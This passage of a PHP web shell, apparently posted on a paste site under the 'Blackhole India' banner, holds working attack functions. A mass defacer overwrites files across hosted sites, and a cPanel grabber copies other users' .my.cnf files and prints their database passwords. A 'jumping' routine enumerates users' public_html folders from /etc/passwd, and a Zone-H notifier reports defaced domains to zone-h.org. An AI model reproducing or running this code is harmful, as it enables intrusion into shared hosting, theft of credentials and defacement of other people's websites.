  2368. <br>Text Content : <input type=text name=Contents size=20 value="Hacked by Mr. Angelo king ">
  2369. <br><input type=submit value="Update kar de !!!!!!"></p></form>
  2370.  
  2371. <?php
  2372. if ($_POST['a'] == 'Deface') {
  2373. $mainpath = $_POST[p1];
  2374. $file = $_POST[p2];
  2375. $txtContents = $_POST[p3];
  2376. echo "-----------------------------------------------<br>
  2377. [+] Simple Mass defacer<br>
  2378. -----------------------------------------------<br><br> ";
  2379. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  2380. while ($row = readdir($dir)) {
  2381. $start = @fopen("$row/$file", "w+");
  2382. $code = $txtContents;
  2383. $finish = @fwrite($start, $code);
  2384. if ($finish) {
  2385. echo "http://$row/$file<br>";
  2386. }
  2387. }
  2388. echo "-----------------------------------------------<br><br>[+] Script by Mr. Angelo king [+]";
  2389. }
  2390. echo '</div>';
  2391. printFooter();
  2392. }
  2393.  
  2394.  
  2395. function actionDefacer() {
  2396. printHeader();
  2397. echo "<h1>Recursive Mass Defacer out </h1><div class=content>";
  2398.  
  2399. printFooter();
  2400. }
  2401.  
  2402. function actionCpanel() {
  2403. printHeader();
  2404. echo "<html>
  2405. <style type='text/css'>
  2406. body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(' ');
  2407. <style type='text/css'>
  2408. /* Circle Text Styles */
  2409. #outerCircleText {
  2410. /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
  2411. font-style: italic;
  2412. font-weight: bold;
  2413. font-family: 'comic sans ms', verdana, arial;
  2414. color: #FFF;
  2415. /* End Optional */
  2416.  
  2417. /* Start Required - Do Not Edit */
  2418. position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
  2419. #outerCircleText div {position: relative;}
  2420. #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
  2421. /* End Required */
  2422. /* End Circle Text Styles */
  2423. </style>
  2424.  
  2425.  
  2426. <center><marquee bgcolor='black' width='30%'><span style='font-size: 25px;'><b>
  2427. <span style='color:White;font-family:Iceland;text-shadow:red 0px 0px 5px' 'font-size:='' 20pt;'=''>Powered by Blackhole India</span></marquee></center>
  2428. <body>";
  2429.  
  2430. @ini_set('display_errors',0);
  2431. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  2432. $ar0=explode($marqueurDebutLien, $text);
  2433. $ar1=explode($marqueurFinLien, $ar0[$i]);
  2434. return trim($ar1[0]);
  2435. }
  2436. echo "<center>";
  2437. $d0mains = @file('/etc/named.conf');
  2438. $domains = scandir("/var/named");
  2439.  
  2440. if ($domains or $d0mains)
  2441. {
  2442. $domains = scandir("/var/named");
  2443. if($domains) {
  2444. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  2445. $count=1;
  2446. $dc = 0;
  2447. $list = scandir("/var/named");
  2448. foreach($list as $domain){
  2449. if(strpos($domain,".db")){
  2450. $domain = str_replace('.db','',$domain);
  2451. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2452. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  2453. $path = getcwd();
  2454.  
  2455. if (is_readable($dirz)) {
  2456. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  2457. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  2458. $password=entre2v2($p,'password="','"');
  2459. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  2460. $dc++;
  2461. }
  2462.  
  2463. }
  2464. }
  2465. echo '</table>';
  2466. $total = $dc;
  2467. echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
  2468. echo '</center>';
  2469. }else{
  2470. $d0mains = @file('/etc/named.conf');
  2471. if($d0mains) {
  2472. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  2473. $count=1;
  2474. $dc = 0;
  2475. $mck = array();
  2476. foreach($d0mains as $d0main){
  2477. if(@eregi('zone',$d0main)){
  2478. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  2479. flush();
  2480. if(strlen(trim($domain[1][0])) >2){
  2481. $mck[] = $domain[1][0];
  2482. }
  2483. }
  2484. }
  2485. $mck = array_unique($mck);
  2486. $usr = array();
  2487. $dmn = array();
  2488. foreach($mck as $o) {
  2489. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  2490. $usr[] = $infos['name'];
  2491. $dmn[] = $o;
  2492. }
  2493. array_multisort($usr,$dmn);
  2494. $dt = file('/etc/passwd');
  2495. $passwd = array();
  2496. foreach($dt as $d) {
  2497. $r = explode(':',$d);
  2498. if(strpos($r[5],'home')) {
  2499. $passwd[$r[0]] = $r[5];
  2500. }
  2501. }
  2502. $l=0;
  2503. $j=1;
  2504. foreach($usr as $r) {
  2505. $dirz = '/home/'.$r.'/.my.cnf';
  2506. $path = getcwd();
  2507. if (is_readable($dirz)) {
  2508. copy($dirz, ''.$path.'/'.$r.'.txt');
  2509. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  2510. $password=entre2v2($p,'password="','"');
  2511. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  2512. $dc++;
  2513. flush();
  2514. $l=$l?0:1;
  2515. $j++;
  2516. }
  2517. }
  2518. }
  2519. echo '</table>';
  2520. $total = $dc;
  2521. echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
  2522. echo '</center>';
  2523.  
  2524. }
  2525. }else{
  2526. echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>ERROR</font><br><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>/var/named</font> or <font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>etc/named.conf</font> Not Accessible!</i></div></h3>";
  2527. echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>Blackhole India </font></h3>";
  2528.  
  2529. }
  2530. printFooter();
  2531. }
  2532.  
  2533. function actionJumping()
  2534. { printHeader();
  2535. echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
  2536. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
  2537. set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#e5e5e5" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
  2538. $pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
  2539. echo '<font color=red> [-]==================[ Ye loo jumping ]==================[-]<br></font>';
  2540. foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=red><br>[-]==================[ khatam kitna kudega ]==================[-] <br></font>\n"; echo '</body></html>';
  2541. printFooter();
  2542. }
  2543.  
  2544. function actionZHposter(){
  2545. printHeader();
  2546. echo '<h1>Zone-H Notifier</h1><div class=content>';
  2547.  
  2548. echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
  2549. <input type="text" name="p1" size="40" value="Blackhole" /></br>
  2550. <select name="p2">
  2551. <option >--------SELECT--------</option>
  2552. <option value="1">known vulnerability (i.e. unpatched system)</option>
  2553. <option value="2" >undisclosed (new) vulnerability</option>
  2554. <option value="3" >configuration / admin. mistake</option>
  2555. <option value="4" >brute force attack</option>
  2556. <option value="5" >social engineering</option>
  2557. <option value="6" >Web Server intrusion</option>
  2558. <option value="7" >Web Server external module intrusion</option>
  2559. <option value="8" >Mail Server intrusion</option>
  2560. <option value="9" >FTP Server intrusion</option>
  2561. <option value="10" >SSH Server intrusion</option>
  2562. <option value="11" >Telnet Server intrusion</option>
  2563. <option value="12" >RPC Server intrusion</option>
  2564. <option value="13" >Shares misconfiguration</option>
  2565. <option value="14" >Other Server intrusion</option>
  2566. <option value="15" >SQL Injection</option>
  2567. <option value="16" >URL Poisoning</option>
  2568. <option value="17" >File Inclusion</option>
  2569. <option value="18" >Other Web Application bug</option>
  2570. <option value="19" >Remote administrative panel access bruteforcing</option>
  2571. <option value="20" >Remote administrative panel access password guessing</option>
  2572. <option value="21" >Remote administrative panel access social engineering</option>
  2573. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  2574. <option value="23" >Access credentials through Man In the Middle attack</option>
  2575. <option value="24" >Remote service password guessing</option>
  2576. <option value="25" >Remote service password bruteforce</option>
  2577. <option value="26" >Rerouting after attacking the Firewall</option>
  2578. <option value="27" >Rerouting after attacking the Router</option>
  2579. <option value="28" >DNS attack through social engineering</option>
  2580. <option value="29" >DNS attack through cache poisoning</option>
  2581. <option value="30" >Not available</option>
  2582. </select>
  2583. </br>
  2584. <select name="p3">
  2585. <option >--------SELECT--------</option>
  2586. <option value="1" >Heh...just for fun!</option>
  2587. <option value="2" >Revenge against that website</option>
  2588. <option value="3" >Political reasons</option>
  2589. <option value="4" >As a challenge</option>
  2590. <option value="5" >I just want to be the best defacer</option>
  2591. <option value="6" >Patriotism</option>
  2592. <option value="7" >Not available</option>
  2593. </select>
  2594. </br>
  2595. <textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
  2596. <input type="submit" value="Send Now !" />
  2597. </form>';
  2598. echo "</td></tr></table></form>";
  2599.  
  2600. if($_POST['a'] == 'ZHposter')
  2601. {
  2602. ob_start();
  2603. $sub = @get_loaded_extensions();
  2604. if(!in_array("curl", $sub))
  2605. {
  2606. die('[-] Curl Is Not Supported !! ');
  2607. }
  2608.  
  2609. $hacker9 = $_POST['p1'];
  2610. $method9 = $_POST['p2'];
  2611. $neden9 = $_POST['p3'];
  2612. $site9 = $_POST['p4'];
  2613.  
  2614. if (empty($hacker9))
  2615. {
  2616. die ("[#] You Must Fill In The Attacker Name !");
  2617. }
  2618. elseif($method9 == "--------SELECT--------")
  2619. {
  2620. die("[#] You Must Select The Method !");
  2621. }
  2622. elseif($neden9 == "--------SELECT--------")
  2623. {
  2624. die("[#] You Must Select The Reason");
  2625. }
  2626. elseif(empty($site9))
  2627. {
  2628. die("[#] You Must Enter the Sites List ! ");
  2629. }
  2630.  
  2631. $i = 0;
  2632. $sites = explode("\n", $site9);
  2633. while($i < count($sites))
  2634. {
  2635.  
  2636. if(substr($sites[$i], 0, 4) != "http")
  2637. {
  2638. $sites[$i] = "http://".$sites[$i];
  2639. }
  2640. ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
  2641. echo "Site : ".$sites[$i]." Defaced ! </br>";
  2642. ++$i;
  2643. }
  2644. echo "[#] Sites Sent To Zone-H :D !! ";
  2645.  
  2646. }
  2647. echo '</div>';
  2648. printFooter();
  2649. }
  2650. if( empty($_POST['a']) )
  2651. if(isset($default_action) && function_exists('action' . $default_action))
  2652. $_POST['a'] = $default_action;
  2653. else
  2654. $_POST['a'] = 'SecInfo';
  2655. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2656. call_user_func('action' . $_POST['a'])
  2657. ?>
Add Comment
Please, Sign In to add comment